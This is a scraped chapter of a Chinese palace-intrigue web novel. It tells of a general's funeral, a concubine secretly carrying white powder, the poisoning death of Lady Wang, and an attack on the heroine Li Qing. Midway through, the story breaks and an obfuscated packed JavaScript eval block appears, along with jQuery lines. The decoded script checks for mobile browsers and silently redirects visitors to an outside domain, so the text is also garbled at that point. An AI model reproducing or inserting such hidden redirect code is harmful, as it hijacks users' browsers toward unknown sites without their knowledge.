59.丧上加丧
作品:《春日宴歌》 “瞧什么呢?”一旁的白兰见李卿总是望着外面,心下疑惑,不禁和自己的小姐妹攀谈起来。她哭丧了这么多天,早已麻木,也不再一味沉浸在悲伤之中。
“瞧你婆婆了,真是个能干的。”
“嗯,确实能干。”白兰听李卿如此说,也向自己婆婆望过去,见她忙忙碌碌却容光焕发的样子,一时情绪莫明。
“你婆婆和你小姑子现下都住府里,与你相处的如何?”
“还行,我反正在府里也不常待,就算待在这边,也是关起门来过自己的小日子,我婆婆也不算爱来找事的。我那小姑子倒是天真烂漫,带着些西北那边的爽朗,是个好相处的。怎么,突然问起这个?”
“没什么,就是想到我们都已为人妻,日日忙于应对婆媳妯娌和一大家子,一时有些困惑,想向你取经。”
白兰瞬间懂了,如她这般家世才华偏上之人,就算有功勋傍身,都免不了被俗事缠身,更何况嫁入皇家的小官之女李卿。
顺着李卿的有感而发,白兰开导其道:“我这有啥经好取的,我家关系再复杂,也就几个人的事,哪能和你的夫家比。不过,依我看,这家庭关系再复杂,只要夫君是向着自己的,凡事就不会太糟糕。”
“哦?如此看来,我们程大将军定是唯夫人是从,一心向着夫人的典范咯。”
“他,在外面都是看重我、依着我的,只是......”
“只是什么?”
“只是他有个含辛茹苦把他拉扯长大,一生受累的母亲。有时,确实有些愚孝。”
“孝顺自然是要紧的,但若只一味孝顺,忽视另一位的感受,在我这,便行不通。尊贵如五皇子殿下,若胆敢让我在婆媳关系上受尽委屈,我定一拳把他打飞。”李卿磨刀霍霍地挥舞着自己的拳头。
“噗!”白兰被李卿的样子逗得微微一笑,这么多天来,她这是第一次心情好了一点。“谢谢你,卿姐儿,我知道你这番话的用意,你放心,我不是委曲求全的人。我爹娘生我一场,不是让我去成全别人的,我知道怎么做。”
城北的恒王府,王氏又登门了。
管事的说恒王出门会友去了,出门前已叮嘱他们,好生招待亲家岳母,还令婉侧妃前去听王氏差遣。
王氏十分受用,虽然这些日,她身子也有些不适,但只要能来看女儿,为女儿撑腰,她就是瘸了也能来!
王氏甩甩帕子一路直奔王妃的院子,殊不知,西边的芙蓉苑内,“出门会友”的恒王正在榻上会着李婉。
半刻钟后,恒王会完友,正欲抽身离去,却被如水蛇般的李婉复缠上来。
恒王垂眸,一把抓住李婉的下巴:“怎么?还贪不够?”
李婉妩媚一笑,娇艳红唇吐出一声极尽婉转的“王爷”二字。
恒王的眸子却冷了下来。“本王交给你的差事办的如何了?”
“王爷放心,您吩咐的事妾身如何不尽心。这些日子妾身可是日日到王妃那里做小伏低,任其欺凌,还要忍受王氏的百般折磨。王爷,妾身为了您可是牺牲了一切啊!”
收到“一切”的恒王仍自顾起来了。李婉见状,赶紧跟上小心服侍着恒王穿衣。
伸开双臂,见李婉低头为自己系着腰带,恒王眼眸微转,一把抓住其下颌迫使抬头,赏了一吻道:“你为本王做的本王如何不知,放心,等事成后,本王疼死你!”说罢,收拾妥当出了门去。
李婉回到榻上,拿出床头壁柜上一个锦盒,从里头纸包里小心刮出些白色粉末藏于修长指甲内,将原物放回后,扭着腰去了东边李嫣处。
终于到了白老将军出殡之日。
天刚亮,李卿就迅速起床,穿戴好后带着侍从去了白府。昨夜萧胤彦又是半夜方归,见李卿被其吵醒,匆匆洗漱后搂着李卿说了会话。萧胤彦嘱咐她,去白府时多带几个侍卫,他也会派两名暗卫跟着保护她,随送葬队伍行至铁槛寺后,立即返程,切不可耽误。
李卿惊疑不定地听着,想起这些日萧胤彦的神出鬼没,便问他,是不是将有动乱。
萧胤彦没有回应,只是嘱咐她万事小心,一切有他去处理。
到了白将军府,白家及族亲、各官宦家眷代表都齐集了,在一阵复杂冗长的仪式后,随着礼生一声惊雷低吼“起!”灵柩一抬,顿时锣鼓齐鸣、悲嚎四起。
出了将军府门,沿路祭棚、平民百姓组成的送葬队伍一眼望不到头。为了维护场面秩序,在兵部历练的恒王领了南营一队骑兵,与五城兵马司的人一道在城中各处巡防。
送葬队伍出了皇城东门后,百姓们陆续折返,亲友官宦们继续送行。
白老将军要葬于白家祖坟,那里离皇城约莫半日日程,因此,除了白府亲族外,其他送行之人一般是至铁槛寺就返回,而白老将军灵柩则在此处停放一夜,第二日再行启程,于吉时下葬。
送葬队伍巳时三刻出发,路上走的缓慢,平时只需一个时辰的路程花费了近两个时辰才到。
为护送白老将军,保护随行达官贵人的安全,巡防营五千兵马沿路设点,一千兵马紧紧相随。
队伍里,李卿又见到了脸色苍白,依旧无视她的李嫣,还有王氏,两人身后跟着久未谋面的李婉,她似乎胖了一点,脸色白里透红的,想来在恒王府过得很是不错。
看来二姐还是斗不过三姐啊!
李卿瞥了几眼,心下却有点疑惑,今日在众人面前,春风得意的李婉低调异常,对李嫣和王氏做小伏低,而素来直肠子的王氏反而兴致蔫蔫,既无往日战力,脸色更是隐隐透着灰败。
李卿总觉得哪里不对劲,但今日她的精力主要集中在白兰身上,想了一会也就没再在意这个事。
灵柩入铁槛寺停稳后,其他官宦家眷都开始准备撤离。李卿很想多陪白兰一程,可她的身份不允许,更何况昨夜萧胤彦还交待过......
可当李卿与白兰告辞,正准备离开时,李嫣身边侍女绿娥匆匆来报,王氏突发恶疾,不省人事,恒王妃六神无主,请李卿过去相助。
送葬的官宦女眷突发恶疾,此人还是五皇子妃和恒王妃的嫡母,众人知事情的严重性,都慌乱起来。好在队伍是带了大夫的,白兰闻信即刻吩咐人去请大夫,李卿则连忙赶了过去。
王氏已被搬到一处院子厢房里,毕竟她的身份在,很多同行的夫人都赶了过去。
李卿到时,王氏正昏迷在榻上脸色乌青,嘴唇一副颤颤巍巍似要说话却说不出的痛苦样,李嫣扑在一侧掩面而泣,李婉亦站在一侧垂泪。
“这是怎么回事,怎么就突发恶疾了?”李卿大步走过去,见到王氏那副样子忍不住吓了一跳。
“四妹妹你可来了,母亲之前还好好的,并无任何异样。刚才不过是吃了点菜饭,喝了口茶,正准备带上姐姐和我一起返程的,谁知起身时突然一阵抽搐,接着就倒地不醒了。”拿着帕子不停擦拭眼角的李婉抢先回答了李卿的问询。
“母亲突然这样,姐姐吓得差点晕过去,我也伤心的不知所措。想着妹妹在这里,又和白兰将军相熟,定能帮上忙,就私自做主,叫人请妹妹来了。”李婉吧嗒吧嗒说了一大通。
“大夫呢?怎么还不来?”李卿大声询问。
“来了来了!”门外,有侍从飞奔着将刚赶来的大夫拉了进来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091481|159525||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“钱嬷嬷,把恒王妃先请开。”李卿吩咐道。
“是。”站在榻前哭红了眼的钱嬷嬷见大夫来了,赶紧上前将伤心欲绝的恒王妃扶到一侧坐下。
大夫细细查看了一番,又将王氏僵硬的嘴角撬开,拿了什么东西在王氏嘴里搅合,终于得出结论,王氏这是中毒了,且是剧毒!
什么!中毒!这怎么可能?何人无缘无故要在这铁槛寺对一个送葬的妇人下毒?中毒的是否就王氏一人?凶手到底是何目的?
众人脸上都是惊惧。李嫣和李婉又嚎了起来。
李卿听得头疼,大喝一声:“都给我住口,听大夫怎么说!”几人才暂时止了哭泣。
“娘娘,老夫只能诊出令堂是中了毒,具体是何毒还验不出。老夫这就去给令堂开副祛毒的方子。只是令堂这样子,像是中毒已深,怕是......娘娘要有准备啊。”
一旁的李嫣和钱嬷嬷均双腿一软,跌了下去。
身边的侍从又去扶她们,一时混乱不堪。
白兰过来了,出了这么大的事,她只能先离开亡父那边。
“卿姐儿,这件事太过蹊跷,我与夫君商议,已将此事报给巡防营赵统领。他们奉皇命护卫送葬队伍,会将沿路五千巡防营士兵调过来守卫铁槛寺。这件事要查,可我爹的安葬亦不能耽误,明日,一千巡防营士兵将护卫我们继续上路,其余人都留在这,你......”
“我明白,这边的事有我。”李卿紧紧握住白兰的手,这本就是她最难的时候,偏偏还出了这种事......
若王氏出事,他们这些人定然要留在这,外面那些官宦家眷暂时也不能离开,巡防营的人本就担着护卫的皇命,定要将铁槛寺看守起来。
李卿将白兰送走,又嘱咐一名侍卫快马加鞭将这边的消息送去给萧胤彦。
屋内,大夫写了方子,药也很快端了上来。
王氏嘴唇紧闭,一个侍女抠嘴,钱嬷嬷喂药,却根本灌不进。李嫣、李婉又哭作一团。
那边,程如苏已带着巡防营的将领四处查看起来。谁也说不准,王氏是何时中的毒,凶手又是不是就躲在人群中,所有人都被勒令不准拉开铁槛寺一步。
大夫汗如雨下地救治着王氏,可两个时辰过去,王氏还是那个样子。
“不行,老夫没办法了,赶紧把人送回城内,或许太医院的御医们还有办法。”大夫对李卿道。
“我们也要回去!”那些留待了几个时辰的官宦家眷们又怒又气地叫嚷起来。他们只是来送葬的,怎么,竟被当犯人似的困了起来。
此时已是酉时,秋日的天就要黑了。李卿安抚了众人,正欲去找白兰商量,室内又响起了尖叫声。
“啊,夫人吐血了!”
众人一惊,齐齐奔了进去。
里面,王氏混着药汁的嘴,不断往外吐着颜色深黑的血,看这样子......
大夫赶紧奔过去,又是扎针又是掐人中。突然王氏似被什么东西卡住般,倒抽一口气,身子猛地半弹起,然后就两眼一翻软了下去。
“娘!”李嫣尖叫着扑了过去。
大夫上前查探,不一会对着众人缓缓摇头道:“夫人,过了。”
什么!王氏就这么死啦?
一切发生的太快,李卿惊在了原地,而李嫣、钱嬷嬷,又晕了过去。
一时间,屋里全乱了阵脚,有的人在奔跑中还打翻了烛台,众人又赶紧去扑火,李卿闪到一侧。
人头攒攒,混乱不堪中,无人注意,一个人影悄悄来到李卿身后,一个扬手,李卿还未反应过来,就觉得后脖颈猛得一痛,瞬间就昏了过去。